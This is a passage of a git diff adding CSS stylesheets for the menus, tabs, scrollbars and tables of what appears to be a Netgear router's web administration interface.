padding-left:15px; + font-weight:bold; + font-size:12px; +} + + + + + +.main-page-bottom-table{ + #padding-left:20px; + margin-top:15px; + margin-left:20px; + height:20px; + width:95%; + border-collapse:collapse; +} + + +.main-page-help-support-text{ + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + color:#FFFFFF; + font-size:14px; + font-weight:bold; + } + + +.main-page-bottom-text{ + margin:0px; + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + color:#C0C0C0; + font-size:12px; + font-weight:Normal; + border-left-style:solid; + border-color:#EEEEEE; + border-left-width:1px; +} + + +.main-page-search-go{ + background-image:url(../img/search-go.gif); + background-repeat:no-repeat; + border-style: none; + background-color:#373737; + width:35px; + margin-left:3px; + height:20px; + font-family:arial; + color:#ffffff; + font-weight:bold; +} + +.main-page-contain{ + #background-image:url(../frame_back.jpg); + background-repeat:no-repeat; +} + +.main-page-contain2{ + #background-image:url(../frame_back2.jpg); + background-repeat:no-repeat; +} + +.main-page-contain-loading{ + background-image:url(../ajax-loader.gif); + background-repeat:no-repeat; + background-position:45% 40%; +} + +.selectbox{ + background-color:#ffffff; + color:#373737; + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + font-weight:bold; +} + +div#preloaded-images { + position: absolute; + overflow: hidden; + left: -9999px; + top: -9999px; + height: 1px; + width: 1px; +} + + +.pointer-cursor{ + cursor: pointer; +} + +.default-cursor{ + cursor: auto; +} + + + + + +#top{_width: 1440px; min-width: 820px; height: 97px; position: absolute; left: 20px; right: 20px; } +#topframe{width: 100%; height: 97px; } + +#middle{ width: 100%; min-height:455px; _height: 795px; position:absolute; top:5px; bottom:0px; left: 0; right: 0; } + +#menu{ float: left; width: 195px; font-family: Arial; font-weight: Bold; font-size: 15px; text-align: left; position:absolute; top:0; bottom:45px;} + +#menu .basic_button{margin-bottom: 5px; width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_white.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer; overflow:hidden;} +#menu .basic_button_big{margin-bottom: 5px; width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/basic_menu_white_big.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer;} +#menu .basic_button_big_grey{margin-bottom: 5px; width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/basic_menu_grey_big.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer;} +#menu .basic_button_purple{margin-bottom: 5px; width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_purple.gif); background-repeat: no-repeat; color: #ffffff;} +#menu .basic_button_big_purple{margin-bottom: 5px; width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/baisc_menu_white_big_purple.gif); background-repeat: no-repeat; color: #ffffff;} +#menu .basic_button_grey{margin-bottom: 5px; width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_grey.gif); background-repeat: no-repeat; color: #808080;} + +#menu .basic_button span, #menu .basic_button_purple span, #menu .basic_button_big span, #menu .basic_button_big_purple span, #menu .basic_button_big_grey span{ display:-moz-inline-box; display:inline-block; width:160px; } +#menu .basic_button b, #menu .basic_button_purple b, #menu .basic_button_grey b{margin:auto 5px; line-height:28px;} +#menu .basic_button_big b, #menu .basic_button_big_purple b , #menu .basic_button_big_grey b{margin:auto; line-height:22px; width:10px;} + +#formframe_div{float: left; min-width: 625px; _width: 1245px; min-height: 410px; _height: 707px; position:absolute; top:0; bottom:45px; left:200px; right: 0; } +.container_center{width:910px; min-width:910px; position:absolute; top:610px; bottom:0; left: 20px; right: 20px; } +.footer{ width: 100%; height: 43px; float: left; color: #ffffff; position:absolute; bottom:0px; } +.footer_double{ width: 100%; height: 86px; color: #ffffff; position:absolute; bottom:0px; } +.footer_img { width: 100%; height: 100%; } +.footer b, .footer_double b{font: bold 16px arial;} +.footer a, .footer_double a{ color: #ffffff; font: normal 11px arial; text-decoration: none;} + +.footer #support{ float:left; line-height: 42px; position: absolute; left: 10px; top: 0; } +.footer_double #support{ line-height: 42px; position: absolute; left: 10px; top: 0;} +.footer #search{ float: right; position: absolute; top: 10px; right: 10px;} +.footer_double #search{ float: right; position: absolute; bottom: 10px; right: 10px;} + +#footer #search .search_button{background: Transparent url(../img/search_button.gif ) no-repeat; border: none; width:39px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; } +#footer #search .search_button_middle{background: Transparent url(../img/search_button_middle.gif ) no-repeat; border: none; width:65px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; } +#footer #search .search_button_long{background: Transparent url(../img/search_button_long.gif ) no-repeat; border: none; width:95px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; } + + diff --git a/sites/netgear/css/menu.css b/sites/netgear/css/menu.css new file mode 100644 index 0000000..307f8da --- /dev/null +++ b/sites/netgear/css/menu.css @@ -0,0 +1,508 @@ +/* tab pane styling */ + +body { + width:100%; +} + + +.panes div { + + display:none; + width:100%; + height:100%; + border:0; + border-top:0; + font-size:14px; + background-color:#E5E5E5; +} + +.panes{ + + display:none; + width:100%; + height:100%; + border:0; + border-top:0; + font-size:14px; + background-color:#E5E5E5; +} +.basic-menu{ + margin:0px; + margin-left:10px; + margin-top:20px; + color:#4e4e4e; + background-color:#E5E5E5; + height:480px; + width:200px; +} + +.basic-menu-div{ + list-style:none; + margin-left:0px; + height:30px; + width:200px; + background-color:#E5E5E5; + background: url("../img/basic-white-button.gif") no-repeat left top; +} + +.basic-menu-div span{ + color: #4C4C4C; + margin-left:10px; + float:left; + width:180px; + padding-top:4px; + background: url("../img/barrow.jpg") no-repeat 165px 8px; +} + +.basic-menu-div a{ + text-decoration:none; + color:#4e4e4e; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; +} + +.basic-menu-div a:hover{ + text-decoration:none; + color:#4e4e4e; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; + cursor:pointer; +} + +.basic-menu-eco-div{ + list-style:none; + margin-left:0px; + height:30px; + width:200px; + background-color:#E5E5E5; + background: url("../img/basic-green-button.gif") no-repeat left top; +} + +.basic-menu-eco-div span{ + color: #000000; + margin-left:10px; + float:left; + width:180px; + padding-top:5px; + background: url("../img/barrow.gif") no-repeat 165px 8px; +} + +.basic-menu-eco-div a{ + text-decoration:none; + color:#000000; + font-weight:bold; + background-color:#E5E5E5; + padding-top:6px; +} + +.basic-menu-eco-div a:hover{ + text-decoration:none; + color:#000000; + font-weight:bold; + background-color:#E5E5E5; + padding-top:6px; + cursor:pointer; +} + +.basic-menu-div-gray{ + list-style:none; + margin-left:0px; + height:30px; + width:200px; + background-color:#E5E5E5; + background: url("../img/gray-button.gif") no-repeat; + +} + +.basic-menu-div-gray span{ + + margin-left:10px; + float:left; + width:180px; + color:#767676; + padding-top:4px; + background: url("../img/barrow.gif") no-repeat 165px 8px; +} + +.basic-menu-div-gray a{ + text-decoration:none; + color:#ffffff; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; +} + +.basic-menu-div-gray a:hover{ + text-decoration:none; + color:#4e4e4e; + font-weight:bold; + background-color:#E5E5E5; + padding-top:5px; + cursor:pointer; +} + +.menuActive{ + list-style:none; + height:30px; + width:200px; + background: url("../img/basic-purple-button.gif") no-repeat left top; +} + + +.menuActive a{ + text-decoration:none; + color:#ffffff; + font-weight:bold; +} + +.menuActive span{ + float:left; + color:#ffffff; + background: url("../img/warrow.jpg") no-repeat 165px 8px; +} + + +.advance-menu{ + padding:0; + margin:0; + color:#4e4e4e; + font-family:arial; + list-style:none; + margin-top:20px; + margin-left:10px; + font-size:12px; + height:480px; + width:200px; +} + +.advance-menu ul{ + + margin:0; + padding:0; + +} + +.advance-menu li{ + zoom:1; + vertical-align:middle; +} + +.advance-menu li.noSub{ + margin:0; + padding:0; + height:24px; + padding-top:4px; + background: url("../img/roundedcornr_637010.gif") no-repeat; + +} + +.advance-menu li.noSubLarge{ + margin:0; + padding:0; + height:40px; + padding-top:4px; + background: url("../img/basic-black-button-large.gif") no-repeat; + +} + + .advance-menu li.noSubActive{ + padding:0; + height:24px; + padding-top:4px; + background: url("../img/basic-purple-button.gif") no-repeat; + } + + .advance-menu li.noSubActiveLarge{ + padding:0; + height:40px; + padding-top:4px; + background: url("../img/basic-purple-button-large.gif") no-repeat; + } + +.advance-menu li.noSubGray{ + margin:0; + padding:0; + height:24px; + padding-top:4px; + background: url("../img/gray-button.gif") no-repeat; + color:#767676; +} + +.advance-menu li.noSubGrayLarge{ + margin:0; + padding:0; + height:40px; + padding-top:4px; + background: url("../img/basic-gray-button-large.gif") no-repeat; + color:#767676; +} + + .advance-menu li.SubActive{ + margin:0; + padding:0; + height:28px; + color:#4e4e4e; + padding-top:4px; + padding-left:5px; + width:200px; + background: url("../img/basic-white-button.gif") no-repeat; +} + + +.advance-menu li.SubActive span{ + margin-left:5px; + padding:0px; + float:left; + width:200px; + color:#4e4e4e; + padding-left:10px; + background: url("../img/barrow_down.jpg") no-repeat 0px; +} + + +.advance-menu li.noSub span{ + float:left; + width:180px; + color:#ffffff; + margin-left:10px; +} + +.advance-menu li.noSubLarge span{ + float:left; + width:180px; + color:#ffffff; + margin-left:10px; +} + +.advance-menu li.noSubGray span{ + float:left; + width:180px; + color:#767676; + margin-left:10px; +} + +.advance-menu li.noSubGrayLarge span{ + float:left; + width:180px; + color:#767676; + margin-left:10px; +} + +.advance-menu li.Sub{ + margin:0; + padding:0; + height:25px; + color:#4e4e4e; + padding-top:2px; + background: url("../img/basic-white-button.gif") no-repeat; +} + + +.advance-menu li.Sub span{ + float:left; + width:200px; + color:#4e4e4e; + padding-left:10px; + background: url("../img/barrow.jpg") no-repeat 0px; + margin-left:10px; +} + + + +.advance-menu li.SubMenu{ + margin:0; + padding:0; + height:18px; + color:#4e4e4e; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenu span{ + text-decoration:underline; + float:left; + width:170px; + padding-top:0px; + color:#4e4e4e; + padding-left:20px; + +} + +.advance-menu li.SubMenu{ + margin:0; + padding:0; + height:17px; + color:#4e4e4e; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + +.advance-menu li.SubMenuDisable{ + margin:0; + padding:0; + height:20px; + color:#adadad; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenuDisable span{ + float:left; + width:170px; + padding-top:0px; + color:#adadad; + background:#e5e5e5; + padding-left:20px; + +} + + +.advance-menu li.SubMenuLarge{ + margin:0; + padding:0; + height:32px; + color:#4e4e4e; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenuLarge span{ + text-decoration:underline; + float:left; + width:170px; + padding-top:0px; + color:#4e4e4e; + background:#e5e5e5; + padding-left:20px; + +} + +.advance-menu li.SubMenuLargeDisable{ + margin:0; + padding:0; + height:32px; + color:#adadad; + list-style:none; + border-bottom-style:solid; + border-bottom-width:1px; + border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenuLargeDisable span{ + float:left; + width:170px; + padding-top:0px; + color:#adadad; + background:#e5e5e5; + padding-left:20px; + +} + + + + + +.advance-menu li.SubMenuHover span{ + margin-left:0px; + padding-left:0px; + text-decoration:none; + float:left; + width:170px; + color:#9d98ff; + border-top-style:solid; + border-width:1px; + background:url(); +} + + +.advance-menu li.SubMenuActive{ + margin:0; + padding:0; + height:21px; + color:#4e4e4e; + list-style:none; + width:200px; + background:url("../img/subMenuActive.png") no-repeat 15px -2px; + +} + + + + +.advance-menu li.SubMenuActive span{ + margin-left:20px; + padding-left:0px; + text-decoration:none; + float:left; + width:170px; + color:#ffffff; +} + + +.advance-menu li.SubMenuActiveLarge{ + margin:0; + padding:0; + height:32px; + color:#4e4e4e; + width:200px; + list-style:none; + background:url("../img/subMenuActiveLarge.png") no-repeat 15px -2px; +} + + +.advance-menu li.SubMenuActiveLarge span{ + margin-left:20px; + padding-left:0px; + width:170px; + text-decoration:none; + float:left; + color:#ffffff; +} + +.advance-menu span{ + float:left; + +} + +.advance-menu a{ + text-decoration:none; + color:#ffffff; + font-weight:bold; + +} + +.advance-menu a:hover{ + text-decoration:none; + color:#ffffff; + font-weight:bold; + cursor:pointer; + +} + + +.subHeader ul{ + margin-top:0; + padding-top:0; + list-style:none; + height:150px; +} + diff --git a/sites/netgear/css/qos_tabs.css b/sites/netgear/css/qos_tabs.css new file mode 100644 index 0000000..3b6464e --- /dev/null +++ b/sites/netgear/css/qos_tabs.css @@ -0,0 +1,159 @@ + + +/* root element for tabs */ +ul.tabs { + list-style:none; + margin:0px; + padding-left:10px; + padding-top:5px; + height:30px; + background-color:transparent; + font-family:arial; + overflow: hidden; + white-space: nowrap; +} + +/* single tab */ +ul.tabs li { + float:left; + text-indent:0; + padding:0; + margin-left:5px; + background-color:transparent; + list-style-image:none !important; + display: inline; +} + + +/* link inside the tab. uses a background image */ +ul.tabs a { + background: url(../img/qos-tab-nonactive.jpg) no-repeat 0; + font-size:15px; + font-weight:bold; + display:block; + height: 35px; + line-height:35px; + width: 152px; + text-align:center; + text-decoration:none; + color:#4e4e4e; + padding:0px; + position:relative; + top:0px; + top: 0px\9; + font-family:arial; +} + +ul.tabs a:active { + outline:none; + background: url(../img/qos-tab-nonactive.jpg) no-repeat 0; +} + +/* when mouse enters the tab move the background image */ + + +ul.tabs a.current, ul.tabs a.current:hover, ul.tabs li.current a { + background: url(../img/qos-tab-hover.jpg) no-repeat 0; + cursor:default !important; + color:#000 !important; +} + + + +.firmware-update-hint{ + background-image:url("../img/firmware-hint-background.gif"); + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + +.firmware-update-hint-short{ + + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + + + +.language-option{ + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + margin-top:4px; + margin-bottom:5px; + font-size:12px; + font-weight:normal; + } + +firmware_update_click a:hover{ + mouse:pointer; +} +/* Different widths for tabs: use a class name: w1, w2, w3 or w2 */ + +/* initially all panes are hidden */ +.panes .pane { + display:none; + +} + + + +.button-rule span.roundleft_update{ + padding: 4px 0px 15px 20px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_update.gif") no-repeat left 0px; + color:#F2F2F2; + cursor: pointer; + white-space:nowrap; +} + +.roundright_update{ + padding: 4px 5px 15px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + +.roundright_update_org{ + padding: 4px 0px 4px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + \ No newline at end of file diff --git a/sites/netgear/css/scrollbar.css b/sites/netgear/css/scrollbar.css new file mode 100644 index 0000000..09cf39b --- /dev/null +++ b/sites/netgear/css/scrollbar.css @@ -0,0 +1,123 @@ + +/* + * CSS Styles that are needed by jScrollPane for it to operate correctly. + * + * Include this stylesheet in your site or copy and paste the styles below into your stylesheet - jScrollPane + * may not operate correctly without them. + */ + +.jspContainer +{ + overflow: hidden; + position: relative; +} + +.jspPane +{ + position: absolute; +} + +.jspVerticalBar +{ + position: absolute; + top: 0; + right: 0; + width: 12px; + height: 100%; + background-color: #202020; +} + +.jspHorizontalBar +{ + display:none; + position: absolute; + bottom: 0; + left: 0; + width: 100%; + height: 16px; + background-color:#202020; +} + +.jspVerticalBar *, +.jspHorizontalBar * +{ + margin: 0; + padding: 0; +} + +.jspCap +{ + display: none; +} + +.jspHorizontalBar .jspCap +{ + float: left; +} + +.jspTrack +{ + background: #c0c0d0; + position: relative; +} + +.jspDrag +{ + background: #808080; + position: relative; + top: 0; + left: 0; + cursor: pointer; +} + +.jspHorizontalBar .jspTrack, +.jspHorizontalBar .jspDrag +{ + float: left; + height: 100%; +} + +.jspArrow +{ + background: #50506d; + text-indent: -20000px; + display: block; + cursor: pointer; +} + +.jspArrow.jspDisabled +{ + cursor: default; + background: #80808d; +} + +.jspVerticalBar .jspArrow +{ + height: 16px; +} + +.jspHorizontalBar .jspArrow +{ + width: 16px; + float: left; + height: 100%; +} + +.jspVerticalBar .jspArrow:focus +{ + outline: none; +} + +.jspCorner +{ + background: #eeeef4; + float: left; + height: 100%; +} + +/* Yuk! CSS Hack for IE6 3 pixel bug :( */ +* html .jspCorner +{ + margin: 0 -3px 0 0; +} + diff --git a/sites/netgear/css/standalone.css b/sites/netgear/css/standalone.css new file mode 100644 index 0000000..e13e014 --- /dev/null +++ b/sites/netgear/css/standalone.css @@ -0,0 +1,12 @@ +body { + font-family:"Lucida Grande","bitstream vera sans","trebuchet ms",sans-serif,verdana,Arial; +} + +/* get rid of those system borders being generated for A tags */ +a:active { + outline:none; +} + +:focus { + -moz-outline-style:none; +} diff --git a/sites/netgear/css/table.css b/sites/netgear/css/table.css new file mode 100644 index 0000000..6429fe7 --- /dev/null +++ b/sites/netgear/css/table.css @@ -0,0 +1,695 @@ + + +.basic-text{ + padding-top:0px; + margin-top:0px; +} + + +.basic-text-menu{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +.basic-text-menu-bottom{ + border-collapse:collapse; + + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} +.basic-text-content-bottom{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.basic-text-menu-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +iframe{ + background-color:transparent; +} + +.basic-text-subTitle{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-subTitle-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-content{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; + } + +.basic-text-content-pr{ + font-family:Simsun,Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.page-table{ + margin:0px; + font-size:14px; + background:-moz-linear-gradient(top,white,rgb(230,230,230)); + background:-webkit-gradient(linear,left top, left bottom,from(#FFFFFF), to(#E6E6E6)); -webkit-background-origin: padding;-webkit-background-clip:content; + border-collapse:collapse; + + background-color:#C0C0C0; + filter: progid:DXImageTransform.Microsoft.Gradient(endColorstr='#E6E6E6', startColorstr='#FFFFFF', gradientType='0'); + } + +.basic-table-seperate-border{ + border-left-style:solid; + border-right-style:solid; + width:320px; + height:1px; + border-top-style:none; + border-bottom-style:none; + border-left-width:4px; + border-right-width:4px; + border-left-color:#FFFFFF; + border-right-color:#FFFFFF; +} + +.table-seperate-border{ + padding-left:10px; + padding-right:10px; + border-left-style:solid; + border-right-style:solid; + border-left-width:1px; + border-right-width:1px; + border-left-color:#808080; + border-right-color:#808080; +} + +.scrollpane-table-seperate-border{ + padding-left:20px; + padding-right:5px; + border-left-style:solid; + border-right-style:solid; + border-left-width:1px; + border-right-width:1px; + border-left-color:#808080; + border-right-color:#808080; +} +.basic-table-seperate{ + height:1px; + border-color:#D0D0D0; + background-color:#D0D0D0; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.basic-table-seperate-2{ + height:1px; + border-color:transparent; + background-color:transparent; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.adv-home-table-seperate{ + height:1px; + width:615px; + border-color:#C0C0C0; + border-style:normal; + background-color:#C0C0C0; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } +.adv-home-table-seperate-2{ + height:1px; + width:615px; + border-color:#ffffff; + border-style:normal; + background-color:#ffffff; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } + +.table-seperate{ + height:1px; + + border-color:#000000; + background-color:#000000; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } + +.box-header-table { + border-collapse:collapse; + margin-left:5px; + background:url('../img/box-header-background.gif') no-repeat; +} + +.box-header-table-large { + border-collapse:collapse; + margin-left:5px; + height:43px; + background:url('../img/box-header-background-large.gif') no-repeat; +} + + +.box-header { + margin:0px; + width:305px; + height:17px; + vertical-align:top; +} +.page-table-bottom-3{ + + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } +.page-table-bottom-2{ + background:url(../img/page-table-bottom-2.gif); + background-position:0px -4px; + font-size:8px; + height:8px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + } + +.page-table-bottom{ + background:url(../img/page-table-bottom.gif); + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } + + +.box-header-text{ + font-family:Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.box-header-text-pr{ + font-family:Simsun,Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.warning-text-menu{ + height:13px; + text-decoration:underline; + padding-left:20px; + border-left: 4px; + color:#E77800; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#E77800; + font-weight:bold; + width:60%; + } + + +.warning-text-content{ + border-right: 4px; + text-decoration:underline; + border-right-style:solid; + color:#E77800; + height:13px; + font-size:12px; + border-color:#FFFFFF; + width:40%; + } + +.page-table-button{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:relative; + + } + + +.page-table-button-large{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:relative; + + } + +.page-table-button-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-large-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:1px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:280px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-large-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-gray{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#767676; + height:16px; + width:140px; + background: url("../img/page-table-button-gray.gif") no-repeat; + background-position:relative; + + } + +.subhead{ + height:32px; + width:740px; + background: url("../img/subhead-top.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-bottom{ + height:29px; + width:740px; + background: url("../img/subhead-bottom.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-text{ + font-family:Arial; + font-size:14px; + color:#E5E5E5; + font-weight:bold; + padding-left:20px; + background-position:relative; + padding-top:7px; +} + +.subhead-text-menu{ + height:25px; + padding-left:20px; + border-left: 1px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#000000; + font-weight:bold; + width:18%; + } + +.subhead-text-context{ + padding-left:20px; + border-right: 1px; + border-right-style:solid; + height:25px; + font-size:12px; + border-color:#000000; + width:75%; + } + +.normal-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + +} +.subtop{ + font-family:Arial; + margin:0px; + font-size:12px; + width:1050px; + + color:#FFFFFF; + font-weight:bold; + vertical-align:middle; + +} +.subhead2{ + font-family:Arial; + margin:0px; + font-size:12px; + background: url("../img/subhead2-top.gif") no-repeat 0px 0px; + color:#FFFFFF; + font-weight:bold; + vertical-align:middle; + position: absolute; + top: 0px; + left: 0px; + padding-top:8px; + padding-bottom:8px; + padding-left:20px; +} + +.subhead2-table{ + zoom:1; + width:1050px; + background-attachment:fixed; + padding-right:5px; + border-collapse:collapse; +} + +.subhead2-multi-table{ + zoom:1; + + background-repeat: no-repeat; + background-attachment:fixed; + border:0px; + border-collapse:collapse; +} + + +.subhead2-text{ + font-family:Arial; + margin:0px; + color:#FFFFFF; + font-size:12px; + background-position:relative; + font-weight:bold; + vertical-align:middle; + padding-top:4px; + padding-bottom:4px; +} + +.subhead2-bottom{ + height:29px; + width:1050px; + + background-position:relative; + position:relative; + top:-28px; + margin-bottom:10px; +} + +.subhead2-text-menu{ + padding-left:20px; + height:20px; + border-left: 0px; + border-left-style:solid; + border-color:#808080; + } + +.page-body { + + margin:0px; + + background-color:#E5E5E5; + overflow:hidden; +} + +.subhead2-text-context{ + text-align:right; + padding-right:20px; + border-right: 0px; + border-right-style:solid; + border-color:#808080; + } + +.table-round-top-left{ + background-image:url("../img/roundtopleft_table.gif"); + background-repeat:no-repeat; + } + +.table-round-top-right{ + background-image:url("../img/roundtopright_table.gif"); + background-repeat:no-repeat; + } + +.table-round-bottom-left{ + background-image:url("../img/roundbottomleft_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-round-bottom-right{ + background-image:url("../img/roundbottomright_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-header{ + background-color:#9d98ff; + font-family:Arial; + font-size:12px; + vertical-align:middle; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + } + +.table-content-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:normal; + background-position:relative; + } + +.help-frame-div{ + position:absolute; top:284px;left:10px; + width:1000px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.bas-help-frame-div{ + position:absolute; top:284px;left:10px; + width:600px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.help-iframe{ + width:100%; + height:140px; + background: #202020; + padding:0px; + position:relative; +} + + +.scroll-pane +{ + overflow: auto; + -webkit-overflow-scrolling: touch; +} + +#full-page-container +{ + position:absolute; top:0px;left:0px; + overflow: auto; +} + +.cover-image +{ + position:absolute; + top:0px; + left:0px; + width:100%; + height:100%; + z-index:5; +} + +.folderName_ie10 +{ + border-right: inset 1pt; +} + +.select-gray +{ + color:black; + background: #E0E0E0; +} diff --git a/sites/netgear/css/table_noh.css b/sites/netgear/css/table_noh.css new file mode 100644 index 0000000..5f19526 --- /dev/null +++ b/sites/netgear/css/table_noh.css @@ -0,0 +1,717 @@ + + +.basic-text{ + padding-top:0px; + margin-top:0px; +} + + +.basic-text-menu{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +.basic-text-menu-bottom{ + border-collapse:collapse; + + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} +.basic-text-content-bottom{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.basic-text-menu-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; 